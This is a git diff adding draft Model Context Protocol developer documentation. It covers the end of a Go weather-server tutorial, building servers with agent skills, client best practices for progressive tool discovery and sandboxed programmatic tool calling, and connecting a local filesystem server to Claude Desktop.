+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
+ },
+ }, nil, nil
+ }
+
+ // Get forecast data
+ forecastURL := pointsData.Properties.Forecast
+ if forecastURL == "" {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast URL."},
+ },
+ }, nil, nil
+ }
+
+ forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch detailed forecast."},
+ },
+ }, nil, nil
+ }
+
+ // Format the periods
+ periods := forecastData.Properties.Periods
+ if len(periods) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No forecast periods available."},
+ },
+ }, nil, nil
+ }
+
+ // Show next 5 periods
+ var forecasts []string
+ for i := range min(5, len(periods)) {
+ forecasts = append(forecasts, formatPeriod(periods[i]))
+ }
+
+ result := strings.Join(forecasts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+
+ func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Build alerts URL
+ stateCode := strings.ToUpper(input.State)
+ alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)
+
+ alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
+ },
+ }, nil, nil
+ }
+
+ // Check if there are any alerts
+ if len(alertsData.Features) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No active alerts for this state."},
+ },
+ }, nil, nil
+ }
+
+ // Format alerts
+ var alerts []string
+ for _, feature := range alertsData.Features {
+ alerts = append(alerts, formatAlert(feature))
+ }
+
+ result := strings.Join(alerts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```go theme={null}
+ func main() {
+ // Create MCP server
+ server := mcp.NewServer(&mcp.Implementation{
+ Name: "weather",
+ Version: "1.0.0",
+ }, nil)
+
+ // Add get_forecast tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_forecast",
+ Description: "Get weather forecast for a location",
+ }, getForecast)
+
+ // Add get_alerts tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_alerts",
+ Description: "Get weather alerts for a US state",
+ }, getAlerts)
+
+ // Run server on stdio transport
+ if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
+ log.Fatal(err)
+ }
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ go build -o weather .
+ ```
+
+ The compiled binary will be in `./weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/draft/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+### Test with commands
+
+Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon:
+
+
+
+
+
+After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed:
+
+
+
+
+
+If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.
+
+If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:
+
+* What's the weather in Sacramento?
+* What are the active weather alerts in Texas?
+
+
+
+
+
+
+
+
+
+
+ Since this is the US National Weather service, the queries will only work for US locations.
+
+
+## What's happening under the hood
+
+When you ask a question:
+
+1. The client sends your question to Claude
+2. Claude analyzes the available tools and decides which one(s) to use
+3. The client executes the chosen tool(s) through the MCP server
+4. The results are sent back to Claude
+5. Claude formulates a natural language response
+6. The response is displayed to you!
+
+## Troubleshooting
+
+
+
+ **Getting logs from Claude for Desktop**
+
+ Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`:
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+ * Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.
+
+ You can run the following command to list recent logs and follow along with any new ones:
+
+ ```bash theme={null}
+ # Check Claude's logs for errors
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ **Server not showing up in Claude**
+
+ 1. Check your `claude_desktop_config.json` file syntax
+ 2. Make sure the path to your project is absolute and not relative
+ 3. Restart Claude for Desktop completely
+
+
+ To properly restart Claude for Desktop, you must fully quit the application:
+
+ * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
+ * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar.
+
+ Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.
+
+
+ **Tool calls failing silently**
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude for Desktop
+
+ **None of this is working. What do I do?**
+
+ Please refer to our [debugging guide](/docs/draft/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ **Error: Failed to retrieve grid point data**
+
+ This usually means either:
+
+ 1. The coordinates are outside the US
+ 2. The NWS API is having issues
+ 3. You're being rate limited
+
+ Fix:
+
+ * Verify you're using US coordinates
+ * Add a small delay between requests
+ * Check the NWS API status page
+
+ **Error: No active alerts for \[STATE]**
+
+ This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.
+
+
+
+
+ For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/draft/tools/debugging)
+
+
+## Next steps
+
+
+
+ Learn how to build your own MCP client that can connect to your server
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
+
+ Learn how to effectively debug MCP servers and integrations
+
+
+
+ Use agent skills to guide AI coding assistants through server design
+
+
diff --git a/content/mcp/docs/draft/develop/build-with-agent-skills.md b/content/mcp/docs/draft/develop/build-with-agent-skills.md
new file mode 100644
index 000000000..8aa05d659
--- /dev/null
+++ b/content/mcp/docs/draft/develop/build-with-agent-skills.md
@@ -0,0 +1,104 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build with Agent Skills
+
+> Use agent skills to guide AI coding assistants through MCP server design and implementation
+
+[Agent skills](https://agentskills.io/home) are portable instruction sets that
+give AI coding assistants domain knowledge for a task. For MCP development,
+they encode the design decisions (deployment model, tool patterns, auth) so
+your agent can interrogate your use case and scaffold a server that fits.
+
+## Available skills
+
+A reference set of MCP development skills is available as the
+[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).
+It provides three composing skills:
+
+| Skill | Purpose |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------- |
+| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. |
+| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. |
+| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. |
+
+Each skill ships a `SKILL.md` file plus a `references/` folder of supporting
+material (auth flows, tool-design patterns, widget templates, manifest schemas)
+that the agent reads on demand. The files follow the open format and work with
+any agent that implements the standard. For example, to install them in Claude
+Code:
+
+```bash theme={null}
+/plugin marketplace add anthropics/claude-plugins-official
+/plugin install mcp-server-dev
+```
+
+For other agents, check your skills or extensions catalog, or clone the
+[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills)
+(`SKILL.md` plus `references/`) into your agent's skills location.
+
+## Start a build
+
+With the skills installed, ask your agent to help you build an MCP server. The
+entry skill triggers on natural-language requests, or you can invoke it
+directly using your agent's skill-invocation syntax.
+
+The skill runs a short discovery phase before writing any code. Expect
+questions about:
+
+* **What it connects to** — a cloud API, a local process, the filesystem, hardware
+* **Who will use it** — just you, your team, or anyone who installs it
+* **Action surface size** — a handful of operations versus wrapping a large API
+* **User interaction needs** — plain text results, structured input via
+ [elicitation](/specification/draft/client/elicitation), or rich UI widgets
+* **Upstream auth** — API keys, OAuth 2.0, or none
+
+If your opening message already covers these, the agent skips ahead to the
+recommendation.
+
+## Deployment paths
+
+Based on discovery, the skill recommends one of four paths and scaffolds
+accordingly:
+
+**Remote [Streamable HTTP](/specification/draft/basic/transports/streamable-http)**
+is the default for anything wrapping a cloud API. Zero install friction, one
+deployment serves all users, and OAuth flows work properly because the server
+can handle redirects and token storage. The reference skill includes scaffolds
+for Cloudflare Workers and portable Express/FastMCP setups.
+
+**[MCP apps](/extensions/apps/overview)** extend a server with interactive
+widgets rendered in chat, such as searchable pickers, charts, and live
+dashboards. The skill hands off to `build-mcp-app` when
+[elicitation's](/specification/draft/client/elicitation) flat-form constraints
+don't fit.
+
+**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a
+local server together with its runtime as a single `.mcpb` archive, so users
+can install it without setting up Node or Python. Use this path when the server
+must touch the user's machine: reading local files, driving desktop apps, or
+talking to localhost services. The skill hands off to `build-mcpb`.
+
+**Local [stdio](/specification/draft/basic/transports/stdio)** remains available
+for prototyping, with a noted upgrade path to MCPB when you're ready to
+distribute.
+
+## Next steps
+
+Once your agent scaffolds the server, iterate on tool descriptions and error
+handling, then test and ship:
+
+
+
+ Test your server's tools, resources, and prompts interactively
+
+
+
+ Wire your server into an MCP client via local or remote configuration
+
+
+
+ Make your server discoverable in the MCP Registry
+
+
diff --git a/content/mcp/docs/draft/develop/clients/client-best-practices.md b/content/mcp/docs/draft/develop/clients/client-best-practices.md
new file mode 100644
index 000000000..1470838fe
--- /dev/null
+++ b/content/mcp/docs/draft/develop/clients/client-best-practices.md
@@ -0,0 +1,305 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Client Best Practices
+
+> Patterns for scaling MCP host applications across many servers and tools.
+
+As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.
+
+Two patterns address these challenges: **progressive discovery**, which controls *when* tool definitions enter context, and **programmatic tool calling**, which controls *how* tools are invoked.
+
+## Progressive Tool Discovery
+
+Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.
+
+
+
+Progressive discovery avoids this:
+
+* The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model's context.
+* The host provides a lightweight `search_tools` meta-tool to the model.
+* The host loads full definitions into context only as needed.
+
+### When to Use Progressive Discovery
+
+Progressive discovery is best used when tool definitions take large parts of the context window. For a small
+set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.
+Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:
+
+* Implement a threshold as a percentage of the context window. For example, 1%-5%.
+* Load tool definitions. Once the threshold is reached, switch to progressive discovery.
+
+### Choosing a Discovery Strategy
+
+Once the model invokes the `search_tools` tool, we need to choose a search strategy:
+
+* **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
+* **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
+* **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
+* **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing
+ different strategies depending on use-case or query.
+
+Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering).
+
+The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.
+
+### Using Progressive Discovery
+
+One common implementation for progressive discovery uses a search-based three-layer approach:
+
+**Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions.
+
+```typescript theme={null}
+// The model calls a lightweight search tool
+search_tools({ query: "update salesforce record" })
+
+// Returns concise matches: names and one-line descriptions only
+→ [
+ { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
+ { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
+ ]
+```
+
+**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, output schema, documentation) for that tool only.
+
+```typescript theme={null}
+// The model inspects only the tool it needs
+get_tool_details({ name: "salesforce_updateRecord" });
+```
+
+This returns the complete schema for a single tool:
+
+```json theme={null}
+{
+ "name": "salesforce_updateRecord",
+ "description": "Updates a record in Salesforce",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "objectType": {
+ "type": "string",
+ "description": "Salesforce object type"
+ },
+ "recordId": { "type": "string", "description": "Record ID to update" },
+ "data": { "type": "object", "description": "Fields to update" }
+ },
+ "required": ["objectType", "recordId", "data"]
+ }
+}
+```
+
+**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.
+
+This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.
+
+### Dynamic Server Management
+
+Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:
+
+1. Maintain a registry of available servers and their high-level descriptions.
+2. Connect to a server only when the model determines it needs that server's capabilities.
+3. Disconnect servers that are no longer relevant to the current task, freeing context.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Model
+ participant Host
+ participant Registry
+ participant Server
+
+ Model->>Host: search_available_servers("CRM")
+ Host->>Registry: Query available servers
+ Registry-->>Host: Salesforce server (not connected)
+ Host-->>Model: Salesforce server available
+
+ Model->>Host: enable_server("salesforce")
+ Host->>Server: server/discover
+ Server-->>Host: Supported versions + capabilities
+ Host->>Server: tools/list
+ Server-->>Host: Tool definitions
+ Host-->>Model: Salesforce server connected
+
+ Note over Model: Task complete
+
+ Model->>Host: disable_server("salesforce")
+ Host-->>Model: Server disconnected, context freed
+```
+
+This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](/docs/draft/develop/build-with-agent-skills), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.
+
+### Implementation Guidelines
+
+When implementing progressive discovery:
+
+| Guideline | Rationale |
+| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. |
+| **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another `tools/list` round trip. This is separate from what's currently in the model's context. |
+| **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. |
+| **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. |
+
+### Caching
+
+Each list result (such as `tools/list`), as well as each `server/discover` and
+`resources/read` result, carries `ttlMs` and `cacheScope` hints. Follow them as defined in the
+specification's [caching utility](/specification/draft/server/utilities/caching). In particular,
+treat a cached list as stale once a `list_changed` notification arrives, even before its TTL
+expires.
+
+### Interaction with Prompt Caching
+
+Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool
+definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens
+than the definitions you removed. To preserve caching:
+
+* Append newly discovered definitions after the cache breakpoint rather than re-sorting the
+ `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool
+ so the array never changes.
+* Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
+* Consult your provider's caching documentation alongside the tool-search links above.
+
+## Programmatic Tool Calling / Code Mode
+
+With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.
+
+Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.
+
+Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires
+clients to implement a sandbox environment.
+
+
+
+### How It Works
+
+The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.
+
+**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments and `outputSchema`:
+
+```typescript theme={null}
+// Auto-generated from the Logging MCP server's tool schema
+interface LogEntry {
+ timestamp: string;
+ message: string;
+ level: string;
+}
+
+function logging_getLogs(input: {
+ level: "error" | "warn" | "info";
+ since: number;
+}): Promise<{ entries: LogEntry[] }> {
+ return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
+}
+
+// Auto-generated from the Ticketing MCP server's tool schema
+function ticketing_createIssue(input: {
+ title: string;
+ body?: string;
+ priority: "low" | "medium" | "high";
+}): Promise<{ issueId: string }> {
+ return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
+}
+```
+
+MCP Servers can provide an optional [`outputSchema`](/specification/draft/server/tools#output-schema) for each tool. When an output schema is present, the host can produce precise return types (like `LogEntry` above).
+
+When an output schema is absent, prefer the simple path:
+
+* **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream. The real fix is for server authors to provide `outputSchema`.
+* **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.
+
+**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:
+
+```typescript theme={null}
+// Model-generated code, executes in sandbox
+const logs = await logging_getLogs({
+ level: "error",
+ since: Date.now() - 3600000,
+});
+
+// Filter and deduplicate inside the sandbox, not in the model's context
+const uniqueErrors = new Map();
+for (const log of logs.entries) {
+ if (!uniqueErrors.has(log.message)) {
+ uniqueErrors.set(log.message, log);
+ }
+}
+
+for (const [message, log] of uniqueErrors) {
+ await ticketing_createIssue({
+ title: `Error: ${message}`,
+ body: `First seen: ${log.timestamp}\nOccurrences: ${
+ logs.entries.filter((l) => l.message === message).length
+ }`,
+ priority: "high",
+ });
+}
+
+console.log(
+ `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
+);
+```
+
+**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.
+
+### Choosing a Sandbox
+
+The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:
+
+| Sandboxed language | Runtime / Library | Host language | Approach |
+| ------------------ | ------------------------------------------------------------- | ----------------- | ----------------------------------------------------------------------------------------------- |
+| **JavaScript** | [Deno](https://github.com/denoland/deno), `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. |
+| **Python** | [Monty](https://github.com/pydantic/monty) *(experimental)* | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. |
+| **TypeScript** | [pctx](https://github.com/portofcontext/pctx) *(early-stage)* | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. |
+| **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. |
+
+Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.
+
+### Execution Architecture
+
+The implementation has three components:
+
+```mermaid theme={null}
+flowchart LR
+ subgraph Host["MCP Host"]
+ A[LLM] -->|writes code| B[Sandbox]
+ B -->|function call| C[MCP Client]
+ C -->|return value| B
+ B -->|console output| A
+ end
+ C -->|tool call| D[MCP Server A]
+ C -->|tool call| E[MCP Server B]
+ D -->|result| C
+ E -->|result| C
+```
+
+**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.
+
+**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.
+
+**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.
+
+### Security Considerations
+
+Programmatic tool calling introduces a code execution surface that requires careful sandboxing:
+
+* **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](/specification/draft/server/tools#security-considerations)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
+* **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
+* **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
+* **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
+* **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
+* **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model.
+
+### Error Handling
+
+MCP tool errors arrive as a successful response with
+[`isError: true`](/specification/draft/server/tools#error-handling) rather than a transport
+failure. Generated wrappers should convert this into a thrown exception so model-authored code
+can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script's
+result so the model can self-correct; the model is responsible for reporting any partial side
+effects already committed.
+
+## Combining Both Patterns
+
+Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.
diff --git a/content/mcp/docs/draft/develop/connect-local-servers.md b/content/mcp/docs/draft/develop/connect-local-servers.md
new file mode 100644
index 000000000..f764b335c
--- /dev/null
+++ b/content/mcp/docs/draft/develop/connect-local-servers.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to local MCP servers
+
+> Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations
+
+Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.
+
+This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.
+
+
+
+
+
+## Prerequisites
+
+Before starting this tutorial, ensure you have the following installed on your system:
+
+### Claude Desktop
+
+Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows.
+
+If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."
+
+### Node.js
+
+The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:
+
+```bash theme={null}
+node --version
+```
+
+If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability.
+
+## Understanding MCP Servers
+
+MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:
+
+* Reading file contents and directory structures
+* Creating new files and directories
+* Moving and renaming files
+* Searching for files by name or content
+
+All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.
+
+## Installing the Filesystem Server
+
+The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.
+
+
+
+ Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."
+
+ On macOS, this appears in the top menu bar:
+
+
+
+
+
+ This opens the Claude Desktop configuration window, which is separate from your Claude account settings.
+
+
+
+ In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.
+
+ Click the "Edit Config" button to open the configuration file:
+
+
+
+
+
+ This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:
+
+ * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
+ * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
+
+
+
+ Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:
+
+
+ ```json macOS theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/Desktop",
+ "/Users/username/Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "C:\\Users\\username\\Desktop",
+ "C:\\Users\\username\\Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.
+
+
+ **Understanding the Configuration**
+
+ * `"filesystem"`: A friendly name for the server that appears in Claude Desktop
+ * `"command": "npx"`: Uses Node.js's npx tool to run the server
+ * `"-y"`: Automatically confirms the installation of the server package
+ * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server
+ * The remaining arguments: Directories the server is allowed to access
+
+
+
+ **Security Consideration**
+
+ Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.
+
+
+
+
+ After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.
+
+ Upon successful restart, click the "Add files, connectors, and more /" indicator in the bottom-left corner of the conversation input box:
+
+
+
+
+
+ Click on this indicator, then move the mouse over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the Filesystem Server's available tools:
+
+
+
+
+
+ If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#troubleshooting) section for debugging steps.
+
+
+
+## Using the Filesystem Server
+
+With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:
+
+### File Management Examples
+
+* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
